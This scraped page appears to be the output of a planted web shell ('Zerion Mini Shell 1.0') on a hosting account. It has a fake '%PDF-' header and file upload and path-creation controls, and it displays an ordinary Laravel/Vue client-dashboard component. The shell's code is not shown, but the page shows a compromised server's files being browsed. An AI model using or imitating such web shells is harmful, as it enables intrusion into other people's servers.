%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/.trash/laravel/resources/js/components/clients/
Upload File :
Create Path :
Current File : /home/ugotscom/.trash/laravel/resources/js/components/clients/clients.vue

<template>

    <div class="container">
      <div class="row">
        <div class="col">

            <div class="card border-left-primary shadow h-100 py-2">
                <div class="card-body">
                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">Total Clients</div>
                    <div class="h5 mb-0 font-weight-bold text-gray-800">  <p>{{tasks.length}}</p></div>
                 <router-link @click="say()">click me</router-link>
                </div>
            </div>
        </div>
        <div class="col">

            <div class="card border-left-primary shadow h-100 py-2">
                <div class="card-body">
                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">Clients</div>
                    <div class="h5 mb-0 font-weight-bold text-gray-800">220</div>
                </div>
            </div>
        </div>
        <div class="col">

            <div class="card border-left-primary shadow h-100 py-2">
                <div class="card-body">
                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">Current Projects</div>
                    <div class="h5 mb-0 font-weight-bold text-gray-800">12</div>
                </div>
            </div>
        </div>
        <div class="col">

            <div class="card border-left-primary shadow h-100 py-2">
                <div class="card-body">
                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">Leads</div>
                    <div class="h5 mb-0 font-weight-bold text-gray-800">220</div>
                </div>
            </div>
        </div>
    </div>
        <div class="row justify-content-center">
            <div class="col-md-12">
            <input type="text" class="form-control" @input="isTyping = true" v-model="searchQuery" placeholder="Search Client">
  
<table class="table table-bordered">
  <thead>
    <tr>
      <th scope="col">#</th>
      <th scope="col">Contact Name</th>
      <th scope="col">Profile</th>
      <th scope="col">Phone</th>
      <th scope="col">Email</th>
      <th scope="col">Status</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
      <tr v-for ="user in users.data" :key="user.id">
      <th scope="row">{{user.id}}</th>
      <td>{{user.name}}</td>
      <td>{{user.profile}}</td>
      <td>{{user.phone}}</td>
      <td>{{user.email}}</td>
      <td>{{user.status}}</td>
     
      <td><router-link v-bind:to="'/viewclient/'+user.id">View</router-link></td>
       </tr>
 
  
  </tbody>

</table>
    <pagination :data="users" @pagination-change-page="getResults"></pagination>

 
             </div>
        </div>
    </div>

</template>
   
<script>
    
    export default {

           data(){
            return {
              users:{},
              tasks:[],
              searchQuery:'',
              isTyping: false,
              isLoading: false,
              
              
              
            }
        },
          watch: {
    searchQuery: _.debounce(function() {
      this.isTyping = false;
    }, 500),
    isTyping: function(value) {
      if (!value) {
        this.searchUser(this.searchQuery);
      }
    }
  },
        methods:{
        searchUser: function(searchQuery) {
    	this.isLoading = true;
        axios.get('client/searchquery?q=' + searchQuery)
        .then(response => {
        	this.isLoading = false;
          this.users = response.data;
        });
        },
            getResults:function(page = 1) {
			axios.get('client?page=' + page)
				.then(response => {
					this.users = response.data;
				});
		        },
            loadusers:function(){
             axios.get('/client').then(({data})=> (this.users = data));
            },
             loadtotalcount(){
                axios.get('/client/totalcount') .then(response => {
                this.tasks = response.data
             })
            }, 
            getPosts:function () {
                axios.get('/client').then(function(response){
                    this.rows = response.data;
                }.bind(this));
            },
           
        },
    
        created: function(){
            this.loadusers(),
            this.loadtotalcount()
          
         
        },
       
    }
</script>

Zerion Mini Shell 1.0